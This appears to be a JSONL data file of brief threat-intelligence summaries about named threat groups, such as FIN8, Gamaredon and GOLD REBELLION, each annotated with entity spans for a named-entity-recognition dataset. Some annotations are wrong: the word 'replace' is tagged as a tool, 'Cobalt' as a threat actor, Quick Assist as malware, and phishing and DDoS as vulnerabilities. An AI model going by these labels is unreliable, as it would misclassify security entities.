+{"text": "FIN8 is a financially motivated group targeting the retail, hospitality and entertainment industries. The actor had previously conducted several tailored spearphishing campaigns using the downloader PUNCHBUGGY and POS malware PUNCHTRACK.", "spans": {"THREAT_ACTOR: FIN8": [[0, 4]], "VULNERABILITY: spearphishing": [[154, 167]], "MALWARE: PUNCHBUGGY": [[199, 209]], "MALWARE: PUNCHTRACK": [[226, 236]]}, "info": {"source": "apt_reports", "name": "FIN8"}}
+{"text": "Fishing Elephant is a threat actor that primarily targets victims in Bangladesh and Pakistan. They rely on consistent TTPs, including payload and communication patterns, while occasionally incorporating new techniques such as geo-fencing and hiding executables within certificate files. Their tool of choice is AresRAT, which they deliver through platforms like Heroku and Dropbox. Recently, they have shifted their focus to government and diplomatic entities in Turkey, Pakistan, Bangladesh, Ukraine, and China.", "spans": {"THREAT_ACTOR: Fishing Elephant": [[0, 16]]}, "info": {"source": "apt_reports", "name": "Fishing Elephant"}}
+{"text": "Verticals targeted during Operation FishMedley include governments, NGOs, and think tanks, across Asia, Europe, and the United States. ; Operators used implants – such as ShadowPad, SodaMaster, and Spyder – that are common or exclusive to China-aligned threat actors. ; We assess with high confidence that Operation FishMedley was conducted by the FishMonger APT group.", "spans": {"THREAT_ACTOR: FishMedley": [[36, 46], [316, 326]], "MALWARE: ShadowPad": [[171, 180]], "MALWARE: SodaMaster": [[182, 192]]}, "info": {"source": "apt_reports", "name": "FishMedley"}}
+{"text": "This suspected Iran-based adversary conducted long-running SWC campaigns from December 2016 until public disclosure in July 2018. Like other Iran-based actors, the target scope for FLASH KITTEN appears to be focused on the MENA region.", "spans": {"THREAT_ACTOR: FLASH KITTEN": [[181, 193]]}, "info": {"source": "apt_reports", "name": "Flash Kitten"}}
+{"text": "Flax Typhoon is a Chinese state-sponsored threat actor that primarily targets organizations in Taiwan. They conduct espionage campaigns and focus on gaining and maintaining long-term access to networks using minimal malware. Flax Typhoon relies on tools built into the operating system and legitimate software to remain undetected. They exploit vulnerabilities in public-facing servers, use living-off-the-land techniques, and deploy a VPN connection to maintain persistence and move laterally within compromised networks.", "spans": {"THREAT_ACTOR: Flax Typhoon": [[0, 12], [225, 237]], "SYSTEM: VPN": [[436, 439]], "VULNERABILITY: living-off-the-land": [[391, 410]]}, "info": {"source": "apt_reports", "name": "Flax Typhoon"}}
+{"text": "FlyingYeti is a Russia-aligned threat actor targeting Ukrainian military entities. They conduct reconnaissance activities and launch phishing campaigns using malware like COOKBOX. FlyingYeti exploits the WinRAR vulnerability CVE-2023-38831 to infect targets with malicious payloads. Cloudforce One has successfully disrupted their operations and provided recommendations for defense against their phishing campaigns.", "spans": {"CVE_ID: CVE-2023-38831": [[225, 239]], "THREAT_ACTOR: FlyingYeti": [[0, 10], [180, 190]], "TOOL: WinRAR": [[204, 210]], "VULNERABILITY: phishing": [[133, 141], [397, 405]], "MALWARE: COOKBOX": [[171, 178]]}, "info": {"source": "apt_reports", "name": "FlyingYeti"}}
+{"text": "Activity: defense and aerospace sectors, also interested in targeting entities in the oil/gas industry.", "spans": {}, "info": {"source": "apt_reports", "name": "Flying Kitten"}}
+{"text": "Adversary group targeting telecommunication and technology organizations.", "spans": {}, "info": {"source": "apt_reports", "name": "FOXY PANDA"}}
+{"text": "PIONEER KITTEN is an Iran-based adversary that has been active since at least 2017 and has a suspected nexus to the Iranian government. This adversary appears to be primarily focused on gaining and maintaining access to entities possessing sensitive information of likely intelligence interest to the Iranian government. According to DRAGOS, they also targeted ICS-related entities using known VPN vulnerabilities. They are widely known to use open source penetration testing tools for reconnaissance and to establish encrypted communications.", "spans": {"SYSTEM: VPN": [[394, 397]]}, "info": {"source": "apt_reports", "name": "Fox Kitten"}}
+{"text": "FrostyNeighbor is a Belarus-aligned APT group known for conducting influence and disinformation campaigns, particularly targeting Ukraine, Poland, and Lithuania. They have compromised various governmental and private sector entities, including the Polish Anti-Doping Agency, through hack-and-leak operations. The group is believed to collaborate with initial access brokers to exploit high-value targets, utilizing techniques such as zero-day vulnerabilities. Their operations are linked to cyber-enabled disinformation campaigns critical of the North Atlantic Alliance.", "spans": {"THREAT_ACTOR: FrostyNeighbor": [[0, 14]], "VULNERABILITY: zero-day": [[434, 442]]}, "info": {"source": "apt_reports", "name": "FrostyNeighbor"}}
+{"text": "Funksec is a newly identified extortion group that has claimed 11 victims across various sectors, including media, IT, and education, operating a Tor-based DLS to centralize its ransomware activities. The group advertises a free DDoS tool and may develop its own ransomware binary, indicating significant technical capability. The DLS was likely created in late November to early December 2024, with the first advertisement titled “Funksec Ransomware” posted on 3 December 2024. Currently, there is limited publicly available information on Funksec's TTPs, and it is not known to be associated with any other threat groups.", "spans": {"THREAT_ACTOR: Funksec": [[0, 7], [432, 439], [541, 548]], "TOOL: Tor": [[146, 149]], "VULNERABILITY: DDoS": [[229, 233]]}, "info": {"source": "apt_reports", "name": "FunkSec"}}
+{"text": "The CYFIRMA research team has identified a new up-and-coming European threat actor group known as FusionCore. Running Malware-as-a-service, along with the hacker-for- hire operation, they have a wide variety of tools and services that are being offered on their website, making it a one-stop-shop for threat actors looking to purchase cost- effective yet customizable malware. The operators have started a ransomware affiliate program that equips the attackers with the ransomware and affiliate software to manage victims. FusionCore typically provides sellers with a detailed set of instructions for any service or product being sold, enabling individuals with minimal experience to carry out complex attacks.", "spans": {"THREAT_ACTOR: FusionCore": [[98, 108], [523, 533]]}, "info": {"source": "apt_reports", "name": "FusionCore"}}
+{"text": "Throughout 2017 and 2018, Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground. Some of the known Fxmsp TTPs included accessing network environments via externally available remote desktop protocol (RDP) servers and exposed active directory.\nMost recently, the actor claimed to have developed a credential-stealing botnet capable of infecting high-profile targets in order to exfiltrate sensitive usernames and passwords. Fxmsp has claimed that developing this botnet and improving its capabilities for stealing information from secured systems is their main goal.", "spans": {"THREAT_ACTOR: Fxmsp": [[26, 31], [154, 159], [478, 483]], "TOOL: RDP": [[255, 258]]}, "info": {"source": "apt_reports", "name": "Fxmsp"}}
+{"text": "GALLIUM, is a threat actor believed to be targeting telecommunication providers over the world, mostly South-East Asia, Europe and Africa. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss.", "spans": {"THREAT_ACTOR: GALLIUM": [[0, 7], [172, 179]], "SYSTEM: JBoss": [[313, 318]]}, "info": {"source": "apt_reports", "name": "GALLIUM"}}
+{"text": "Symantec researchers have uncovered a previously unknown attack group that is targeting government and military targets, including several overseas embassies of an Eastern European country, and military and defense targets in the Middle East. This group eschews custom malware and uses living off the land (LotL) tactics and publicly available hack tools to carry out activities that bear all the hallmarks of a cyber espionage campaign.\nThe group, which we have given the name Gallmaker, has been operating since at least December 2017, with its most recent activity observed in June 2018.", "spans": {"THREAT_ACTOR: Gallmaker": [[478, 487]], "SYSTEM: Symantec": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Gallmaker"}}
+{"text": "GamaCopy is a threat actor first discovered in June 2023, known for launching cyberattacks against Russia’s defense and critical infrastructure sectors by mimicking the TTPs of Gamaredon. The organization has been active since at least August 2021 and primarily uses Russian-language bait documents related to military facilities. Analysis of attack samples shows considerable overlap in code structure and tactics, including the use of 7z-SFX documentation to install UltraVNC and connecting via port 443. GamaCopy employs open-source tools to obfuscate its activities while targeting sensitive information in the context of the Russia-Ukraine conflict.", "spans": {"THREAT_ACTOR: GamaCopy": [[0, 8], [507, 515]], "TOOL: UltraVNC": [[469, 477]]}, "info": {"source": "apt_reports", "name": "GamaCopy"}}
+{"text": "Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013.  In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.", "spans": {"THREAT_ACTOR: Gamaredon Group": [[148, 163], [196, 211], [267, 282], [353, 368], [452, 467]], "ORGANIZATION: Unit 42": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Gamaredon Group"}}
+{"text": "GambleForce is a threat actor specializing in SQL injection attacks. They have targeted over 20 websites in various sectors across multiple countries, compromising six companies. GambleForce utilizes publicly available pentesting tools and has been active since mid-September 2023.", "spans": {"THREAT_ACTOR: GambleForce": [[0, 11], [179, 190]], "VULNERABILITY: SQL injection": [[46, 59]]}, "info": {"source": "apt_reports", "name": "GambleForce"}}
+{"text": "From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).", "spans": {}, "info": {"source": "apt_reports", "name": "GC01"}}
+{"text": "From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).", "spans": {}, "info": {"source": "apt_reports", "name": "GC02"}}
+{"text": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.", "spans": {"THREAT_ACTOR: GCMAN": [[0, 5]]}, "info": {"source": "apt_reports", "name": "GCMAN"}}
+{"text": "The Gelsemium group has been active since at least 2014 and was described in the past by a few security companies. Gelsemium’s name comes from one possible translation ESET found while reading a report from VenusTech who dubbed the group 狼毒草 for the first time. It’s the name of a genus of flowering plants belonging to the family Gelsemiaceae, Gelsemium elegans is the species that contains toxic compounds like Gelsemine, Gelsenicine and Gelsevirine, which ESET choses as names for the three components of this malware family.", "spans": {"THREAT_ACTOR: Gelsemium": [[4, 13], [115, 124], [345, 354]], "SYSTEM: ESET": [[168, 172], [459, 463]]}, "info": {"source": "apt_reports", "name": "Gelsemium"}}
+{"text": "GhostEmperor is a Chinese-speaking threat actor that targets government entities and telecom companies in Southeast Asia. They employ a Windows kernel-mode rootkit called Demodex to gain remote control over their targeted servers. The actor demonstrates a high level of sophistication and uses various anti-forensic and anti-analysis techniques to evade detection. They have been active for a significant period of time and continue to pose a threat to their targets.", "spans": {"THREAT_ACTOR: GhostEmperor": [[0, 12]], "SYSTEM: Windows": [[136, 143]], "VULNERABILITY: rootkit": [[156, 163]]}, "info": {"source": "apt_reports", "name": "GhostEmperor"}}
+{"text": "Cyber espionage is an issue whose time has come. In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions. The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more. The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries. Up to 30% of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs. The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information.\nAttacks on the Dalai Lama’s Private Office The OHHDL started to suspect it was under surveillance while setting up meetings be-tween His Holiness and foreign dignitaries. They sent an email invitation on behalf of His Holiness to a foreign diplomat, but before they could follow it up with a courtesy telephone call, the diplomat’s office was contacted by the Chinese government and warned not to go ahead with the meeting. The Tibetans wondered whether a computer compromise might be the explanation; they called ONI Asia who called us. (Until May 2008, the first author was employed on a studentship funded by the OpenNet Initiative and the second author was a principal investigator for ONI.)", "spans": {}, "info": {"source": "apt_reports", "name": "GhostNet"}}
+{"text": "Ghostr is a financially motivated threat actor known for stealing a confidential database containing 5.3 million records from the World-Check and leaking about 186GB of data from a stock trading platform. They have been active on Breachforums.is, revealing massive data breaches involving comprehensive details of Thai users, including full names, phone numbers, email addresses, and ID card numbers.", "spans": {"THREAT_ACTOR: Ghostr": [[0, 6]]}, "info": {"source": "apt_reports", "name": "GhostR"}}
+{"text": "GhostRedirector is a China-aligned threat actor that has compromised at least 65 Windows servers across various sectors, primarily in Brazil, Thailand, and Vietnam. It employs a passive C++ backdoor named Rungan and a malicious IIS module called Gamshen to maintain persistent access and manipulate search engine results for SEO fraud. The actor utilizes public exploits like EfsPotato and BadPotato for privilege escalation and abuses code-signing certificates to evade detection. GhostRedirector's operations involve installing remote access tools, creating rogue administrator accounts, and leveraging SQL injection vulnerabilities to execute PowerShell for downloading malicious payloads.", "spans": {"THREAT_ACTOR: GhostRedirector": [[0, 15], [482, 497]], "TOOL: PowerShell": [[646, 656]], "SYSTEM: Windows": [[81, 88]], "SYSTEM: IIS": [[228, 231]], "VULNERABILITY: privilege escalation": [[404, 424]], "VULNERABILITY: SQL injection": [[605, 618]]}, "info": {"source": "apt_reports", "name": "GhostRedirector"}}
+{"text": "GhostSec is a hacktivist group that emerged as an offshoot of Anonymous. They primarily focused on counterterrorism efforts and monitoring online activities associated with terrorism. They gained prominence following the 2015 Charlie Hebdo shooting in Paris and the rise of ISIS.", "spans": {"THREAT_ACTOR: GhostSec": [[0, 8]]}, "info": {"source": "apt_reports", "name": "GhostSec"}}
+{"text": "Ghostwriter is referred as an 'activity set', with various incidents tied together by overlapping behavioral characteristics and personas, rather than as an actor or group in itself.", "spans": {"THREAT_ACTOR: Ghostwriter": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Ghostwriter"}}
+{"text": "Gitloker is a threat actor group targeting GitHub repositories, wiping their contents, and extorting victims for their data. They use stolen credentials to compromise accounts, claim to have created a backup, and instruct victims to contact them on Telegram. The attackers leave a ransom note in the form of a README file, urging victims to negotiate the return of their data. GitHub is working to combat these evolving attacks and the vulnerabilities they exploit.", "spans": {"THREAT_ACTOR: Gitloker": [[0, 8]], "SYSTEM: GitHub": [[43, 49], [377, 383]], "SYSTEM: Telegram": [[249, 257]]}, "info": {"source": "apt_reports", "name": "Gitloker"}}
+{"text": "The hacker said that he put up the data for sale mainly because these companies had failed to protect passwords with strong encryption algorithms like bcrypt.\nMost of the hashed passwords the hacker put up for sale today can cracked with various levels of difficulty --but they can be cracked.\n\"I got upset because I feel no one is learning,\" the hacker told ZDNet in an online chat earlier today. \"I just felt upset at this particular moment, because seeing this lack of security in 2019 is making me angry.\"\nIn a conversation with ZDNet last month, the hacker told us he wanted to hack and put up for sale more than one billion records and then retire and disappear with the money.\nBut in a conversation today, the hacker says this is not his target anymore, as he learned that other hackers have already achieved the same goal before him.\n Gnosticplayers also revealed that not all the data he obtained from hacked companies had been put up for sale. Some companies gave into extortion demands and paid fees so breaches would remain private.\n\"I came to an agreement with some companies, but the concerned startups won't see their data for sale,\" he said. \"I did it that's why I can't publish the rest of my databases or even name them.\"", "spans": {"THREAT_ACTOR: Gnosticplayers": [[843, 857]]}, "info": {"source": "apt_reports", "name": "Gnosticplayers"}}
+{"text": "Goblin Panda is one of a handful of elite Chinese advanced persistent threat (APT) groups. Most Chinese APTs target the United States and NATO, but Goblin Panda focuses primarily on Southeast Asia.", "spans": {"THREAT_ACTOR: Goblin Panda": [[0, 12], [148, 160]]}, "info": {"source": "apt_reports", "name": "GOBLIN PANDA"}}
+{"text": "GOFFEE is a threat actor that has targeted entities in the Russian Federation since early 2022, employing spear phishing emails with malicious attachments, including modified Owowa and patched explorer.exe. They have utilized PowerTaskel, a non-public Mythic agent in PowerShell, and introduced a new implant called \"PowerModul\" for attacks against sectors such as media, telecommunications, and government. GOFFEE has increasingly shifted to a binary Mythic agent for lateral movement and has incorporated Word documents with malicious VBA scripts in their infection chains. The group has demonstrated a consistent evolution in their TTPs while maintaining identifiable characteristics that attribute their campaigns with high confidence.", "spans": {"THREAT_ACTOR: GOFFEE": [[0, 6], [408, 414]], "TOOL: PowerShell": [[268, 278]], "TOOL: Mythic": [[252, 258], [452, 458]], "VULNERABILITY: phishing": [[112, 120]], "VULNERABILITY: spear phishing": [[106, 120]], "MALWARE: Owowa": [[175, 180]]}, "info": {"source": "apt_reports", "name": "GOFFEE"}}
+{"text": "GoldenJackal activity is characterized by the use of compromised WordPress websites as a method to host C2-related logic. Kaspersky believes the attackers upload a malicious PHP file that is used as a relay to forward web requests to another backbone C2 server. They developed a collection of .NET malware tools known as Jackal.", "spans": {"THREAT_ACTOR: GoldenJackal": [[0, 12]], "SYSTEM: Kaspersky": [[122, 131]], "SYSTEM: PHP": [[174, 177]], "SYSTEM: WordPress": [[65, 74]], "SYSTEM: .NET": [[293, 297]], "MALWARE: Jackal": [[321, 327]]}, "info": {"source": "apt_reports", "name": "GoldenJackal"}}
+{"text": "GoldFactory is a threat actor group attributed to developing sophisticated mobile banking malware targeting victims primarily in the Asia-Pacific region, specifically Vietnam and Thailand. They utilize social engineering to deliver malware to victims' devices and have close connections to the Gigabud malware family. GoldFactory's Trojans, such as GoldPickaxe and GoldDigger, employ tactics like smishing, phishing, and fake login screens to compromise victims' phones and steal sensitive information. Their evolving malware suite demonstrates a high level of operational maturity and ingenuity, requiring a proactive and multi-faceted cybersecurity approach to detect and mitigate their threats.", "spans": {"THREAT_ACTOR: GoldFactory": [[0, 11], [318, 329]], "VULNERABILITY: phishing": [[407, 415]], "MALWARE: Gigabud": [[294, 301]]}, "info": {"source": "apt_reports", "name": "GoldFactory"}}
+{"text": "GOLD BURLAP is a group of financially motivated criminals responsible for the development of the Pysa ransomware, also referred to as Mespinoza. Pysa is a cross-platform ransomware with known versions written in C++ and Python. As of December 2020, approximately 50 organizations had reportedly been targeted in Pysa ransomware attacks. The operators leverage 'name and shame' tactics to apply additional pressure to victims. As of January 2021, CTU researchers had found no Pysa advertisements on underground forums, which likely indicates that it is not operated as ransomware as a service (RaaS).", "spans": {"THREAT_ACTOR: GOLD BURLAP": [[0, 11]], "SYSTEM: Python": [[220, 226]], "MALWARE: Pysa": [[97, 101], [145, 149], [312, 316], [475, 479]], "MALWARE: Mespinoza": [[134, 143]]}, "info": {"source": "apt_reports", "name": "GOLD BURLAP"}}
+{"text": "GOLD CABIN is a financially motivated cybercriminal threat group operating a malware distribution service on behalf of numerous customers since 2018. GOLD CABIN uses malicious documents, often contained in password-protected archives, delivered through email to download and execute payloads. The second-stage payloads are most frequently Gozi ISFB (Ursnif) or IcedID (Bokbot), sometimes using intermediary malware like Valak. GOLD CABIN infrastructure relies on artificial appearing and frequently changing URLs created with a domain generation algorithm (DGA). The URLs host a PHP object that returns the malware as a DLL file.", "spans": {"THREAT_ACTOR: GOLD CABIN": [[0, 10], [150, 160], [427, 437]], "SYSTEM: PHP": [[579, 582]], "MALWARE: Gozi ISFB": [[339, 348]], "MALWARE: Ursnif": [[350, 356]], "MALWARE: Gozi": [[339, 343]], "MALWARE: Valak": [[420, 425]], "MALWARE: ISFB": [[344, 348]], "MALWARE: IcedID": [[361, 367]]}, "info": {"source": "apt_reports", "name": "GOLD CABIN"}}
+{"text": "GOLD DUPONT is a financially motivated cybercriminal threat group that specializes in post-intrusion ransomware attacks using 777 (aka Defray777 or RansomExx) malware. Active since November 2018, GOLD DUPONT establishes initial access into victim networks using stolen credentials to remote access services like virtual desktop infrastructure (VDI) or virtual private networks (VPN). From October 2019 to early 2020 the group used GOLD BLACKBURN's TrickBot malware as an initial access vector (IAV) during some intrusions. Since July 2020, the group has also used GOLD SWATHMORE's IcedID (Bokbot) malware as an IAV in some intrusions.", "spans": {"THREAT_ACTOR: GOLD DUPONT": [[0, 11], [196, 207]], "SYSTEM: VPN": [[378, 381]], "MALWARE: TrickBot": [[448, 456]], "MALWARE: Defray777": [[135, 144]], "MALWARE: IcedID": [[581, 587]]}, "info": {"source": "apt_reports", "name": "GOLD DUPONT"}}
+{"text": "GOLD EVERGREEN was a financially motivated cybercriminal threat group that operated the Gameover Zeus (aka Mapp, P2P Zeus) botnet until June 2014. It encompasses an expansive and long running criminal conspiracy operated by a confederation of individuals calling themselves The Business Club from the mid 2000s until 2014. GOLD EVERGREEN's technical operation was facilitated primarily through botnets using the Zeus, JabberZeus, and eventually Gameover Zeus malware families. These malware families were designed and maintained by a Russian national Evgeniy Bogachev (aka 'slavik') who was indicted by the U.S. DOJ in 2014 and remains a fugitive.", "spans": {"THREAT_ACTOR: GOLD EVERGREEN": [[0, 14], [323, 337]], "ORGANIZATION: DOJ": [[612, 615]], "MALWARE: Mapp": [[107, 111]], "MALWARE: Zeus": [[97, 101], [117, 121], [412, 416], [454, 458]]}, "info": {"source": "apt_reports", "name": "GOLD EVERGREEN"}}
+{"text": "GOLD FAIRFAX is a financially motivated cybercriminal threat group responsible for the creation, distribution, and operation of the Ramnit botnet. Ramnit, the phonetic spelling of RMNet, the internal name of the core module, began operation in April 2010 and became widespread in July 2010. A particularly virulent file-infecting component of early Ramnit variants that spreads by modifying executables and HTML files has resulted in the continued prevalence of those early variants. Currently, Ramnit remains an actively maintained and distributed threat. The intent of Ramnit is to intercept and manipulate online financial transactions through modification of web browser behavior ('man-in-the-browser').", "spans": {"THREAT_ACTOR: GOLD FAIRFAX": [[0, 12]], "MALWARE: Ramnit": [[132, 138], [147, 153], [349, 355], [495, 501], [571, 577]]}, "info": {"source": "apt_reports", "name": "GOLD FAIRFAX"}}
+{"text": "GOLD FLANDERS is a financially motivated group responsible for distributed denial of service (DDOS) attacks linked to extortion emails demanding between 5 and 30 bitcoins. The attacks consist mostly of fragmented UDP packets (DNS and NTP reflection) as well as other traffic that can vary per victim. The arrival of the extortion email is timed to coincide with a DDOS attack consisting of traffic between 20 Gbps and 200 Gbps and 12-15 million packets per second, lasting between 20 and 70 minutes targeted at a particular Autonomous System Number (ASN) or group of IP addresses. In some cases victim organisations have replied to these extortion emails and received personal replies from GOLD FLANDERS operators within 20 minutes.", "spans": {"THREAT_ACTOR: GOLD FLANDERS": [[0, 13], [690, 703]], "VULNERABILITY: denial of service": [[75, 92]]}, "info": {"source": "apt_reports", "name": "GOLD FLANDERS"}}
+{"text": "GOLD GALLEON is a financially motivated cybercriminal threat group comprised of at least 20 criminal associates that collectively carry out business email compromise (BEC) and spoofing (BES) campaigns. The group appears to specifically target maritime organizations and their customers. CTU researchers have observed GOLD GALLEON targeting firms in South Korea, Japan, Singapore, Philippines, Norway, U.S., Egypt, Saudi Arabia, and Colombia. The threat actors leverage tools, tactics, and procedures that are similar to those used by other BEC/BES groups CTU researchers have previously investigated, such as GOLD SKYLINE. The groups have used the same caliber of publicly available malware (inexpensive and commodity remote access trojans), crypters, and email lures.", "spans": {"THREAT_ACTOR: GOLD GALLEON": [[0, 12], [317, 329]], "THREAT_ACTOR: GOLD SKYLINE": [[609, 621]]}, "info": {"source": "apt_reports", "name": "GOLD GALLEON"}}
+{"text": "GOLD GARDEN was a financially motivated cybercriminal threat group that authored and operated the GandCrab ransomware from January 2018 through May 2019. GandCrab was operated as a ransomware-as-a-service operation whereby numerous affiliates distributed the malware and split ransom payments with the core operators. GOLD GARDEN maintained exclusive control of the development of GandCrab and associated command and control (C2) infrastructure. Individual affiliates, of which there were frequently more than a dozen in operation simultaneously, coordinated the distribution of GandCrab through spam emails, web exploit kits, pay-per-install botnets, and scan-and-exploit style attacks. On May 31, 2019 the operators announced they have halted operations with no intent to resume for unknown reasons. In April 2019 the operators of GOLD GARDEN transferred the source code of GandCrab to GOLD SOUTHFIELD who used it as the foundation of the REvil ransomware operation. GOLD SOUTHFIELD operates a similar affiliate program comprised largely of former GandCrab users and other groups recruited from underground forums.", "spans": {"THREAT_ACTOR: GOLD GARDEN": [[0, 11], [318, 329], [833, 844]], "THREAT_ACTOR: GOLD SOUTHFIELD": [[888, 903], [969, 984]], "MALWARE: REvil": [[941, 946]]}, "info": {"source": "apt_reports", "name": "GOLD GARDEN"}}
+{"text": "GOLD MANSARD is a financially motivated cybercriminal threat group that operated the Nemty ransomware from August 2019. The threat actor behind Nemty is known on Russian underground forums as 'jsworm'. Nemty was operated as a ransomware as a service (RaaS) affiliate program and featured a 'name and shame' website where exfiltrated victim data was leaked. In April 2020, jsworm appeared to acquire new partners and retired the Nemty ransomware. This was followed by the introduction of Nefilim ransomware, which does not operate as an affiliate model. Nefilim has been used in post-intrusion ransomware attacks against organizations in logistics, telecommunications, energy and other sectors.", "spans": {"THREAT_ACTOR: GOLD MANSARD": [[0, 12]], "MALWARE: Nemty": [[85, 90], [144, 149], [202, 207], [428, 433]], "MALWARE: Nefilim": [[487, 494], [553, 560]]}, "info": {"source": "apt_reports", "name": "GOLD MANSARD"}}
+{"text": "Operational since at least October 2020, GOLD NORTHFIELD is a financially motivated cybercriminal threat group that leverages GOLD SOUTHFIELD's REvil ransomware in their attacks. To do this, the threat actors replace the configuration of the REvil ransomware binary with their own in an effort to repurpose the ransomware for their operations. GOLD NORTHFIELD has given this modified REvil ransomware variant the name 'LV ransomware'.", "spans": {"THREAT_ACTOR: GOLD NORTHFIELD": [[41, 56], [344, 359]], "THREAT_ACTOR: GOLD SOUTHFIELD": [[126, 141]], "TOOL: replace": [[209, 216]], "MALWARE: REvil": [[144, 149], [242, 247], [384, 389]]}, "info": {"source": "apt_reports", "name": "GOLD NORTHFIELD"}}
+{"text": "GOLD PRELUDE is a financially motivated cybercriminal threat group that operates the SocGholish (aka FAKEUPDATES) malware distribution network. GOLD PRELUDE operates a large global network of compromised websites, frequently running vulnerable content management systems (CMS), that redirect into a malicious traffic distribution system (TDS). The TDS, which researchers at Avast have named Parrot TDS, uses opaque criteria to select victims to serve a fake browser update page. These pages, which are customized to the specific visiting browser software, download the JavaScript-based SocGholish payload frequently embedded within a compressed archive.", "spans": {"THREAT_ACTOR: GOLD PRELUDE": [[0, 12], [144, 156]], "SYSTEM: Avast": [[374, 379]], "MALWARE: FAKEUPDATES": [[101, 112]], "MALWARE: Parrot TDS": [[391, 401]], "MALWARE: SocGholish": [[85, 95], [586, 596]]}, "info": {"source": "apt_reports", "name": "GOLD PRELUDE"}}
+{"text": "GOLD REBELLION is a financially motivated cybercriminal threat group that operates the Black Basta name-and-shame ransomware. The group posted its first victim to its leak site in April 2022 and has continued to publish victim names at a rate of around 15 a month since then. GOLD REBELLION has not openly advertised or appeared to recruit for an affiliate program but the variety of tactics, techniques and procedures (TTP) observed in Black Basta intrusions suggests that multiple individuals are engaged in the ransomware scheme.Several security vendors and independent researchers have suggested the distributors of Black Basta may be former affiliates of GOLD ULRICK's Conti operation. Technical artifacts analyzed by CTU researchers suggest that Black Basta has been under development since at least early February 2022, several weeks before extensive public leaks detailed GOLD ULRICK's Conti operation. In November 2022, researchers at SentinelOne linked custom tooling used by GOLD REBELLION to the GOLD NIAGARA (FIN7) threat group. CTU researchers have not made independent observations corroborating a relationship between these threat groups or any others.GOLD REBELLION appear to have been a key customer of GOLD LAGOON's Qakbot: CTU researchers observed multiple incidents where Black Basta was distributed through it as an initial access vector (IAV), leading to Cobalt Strike and further lateral movement into the victim network. Following the takedown of Qakbot in August 2023, GOLD REBELLION explored new methods of delivery, including DarkGate and Pikabot. In one incident, CTU researchers observed a threat actor gain access to a victim network through a managed security services provider (MSSP). In October 2024, GOLD REBELLION likely exploited a vulnerability in a Sonic Wall VPN device for access. Also in 2024, CTU researchers observed multiple instances of the group using social engineering to convince victims to download remote management and monitoring tools like AnyDesk and Quick Assist. After spamming inboxes with multiple emails, the threat actors approached the affected users via Teams, purporting to be IT Support or Help Desk employees offering assistance with email inbox issues.Other tools members of the group have used include the SystemBC back connect malware, PsExec for remote execution, RDP for lateral movement, batch files to delete their own tools and disable anti-virus programs for defense evasion, and both Rclone and MegaSync for data exfiltration.", "spans": {"THREAT_ACTOR: GOLD REBELLION": [[0, 14], [276, 290], [986, 1000], [1168, 1182], [1495, 1509], [1735, 1749]], "THREAT_ACTOR: FIN7": [[1022, 1026]], "THREAT_ACTOR: Cobalt": [[1378, 1384]], "TOOL: PsExec": [[2305, 2311]], "TOOL: Cobalt Strike": [[1378, 1391]], "TOOL: RDP": [[2334, 2337]], "TOOL: Rclone": [[2460, 2466]], "TOOL: AnyDesk": [[1994, 2001]], "SYSTEM: VPN": [[1799, 1802]], "SYSTEM: SentinelOne": [[944, 955]], "MALWARE: DarkGate": [[1554, 1562]], "MALWARE: Black Basta": [[87, 98], [437, 448], [620, 631], [752, 763], [1293, 1304]], "MALWARE: Conti": [[674, 679], [894, 899]], "MALWARE: Pikabot": [[1567, 1574]], "MALWARE: SystemBC": [[2274, 2282]], "MALWARE: Quick Assist": [[2006, 2018]]}, "info": {"source": "apt_reports", "name": "GOLD REBELLION"}}
+{"text": "GOLD RIVERVIEW was a financially motivated cybercriminal group that facilitated the distribution of malware- and scam-laden spam email on behalf of its customers. This threat group authored and sold the Necurs rootkit beginning in early 2014, including to GOLD EVERGREEN who integrated it into Gameover Zeus. GOLD RIVERVIEW also operated a global botnet that was colloquially known as Necurs (CraP2P) and was a major source of spam email from 2016 through 2018. Necurs distributed malware such as GOLD DRAKE's Dridex (Bugat v5), GOLD BLACKBURN's TrickBot, and other families like Locky and FlawedAmmy. Necurs also distributed a large volume of email pushing securities 'pump and dump' scams, rogue pharmacies, and fraudulent dating sites. On March 4, 2019 all three active segments of the Necurs botnet ceased operation and have not since resumed. On March 10, 2020 Microsoft took civil action against GOLD RIVERVIEW and made technical steps that would complicate the threat actors' ability to reconstitute the botnet.", "spans": {"THREAT_ACTOR: GOLD RIVERVIEW": [[0, 14], [309, 323], [902, 916]], "THREAT_ACTOR: GOLD EVERGREEN": [[256, 270]], "ORGANIZATION: Microsoft": [[866, 875]], "VULNERABILITY: rootkit": [[210, 217]], "MALWARE: Bugat": [[518, 523]], "MALWARE: TrickBot": [[546, 554]], "MALWARE: Zeus": [[303, 307]], "MALWARE: Dridex": [[510, 516]], "MALWARE: Locky": [[580, 585]]}, "info": {"source": "apt_reports", "name": "GOLD RIVERVIEW"}}
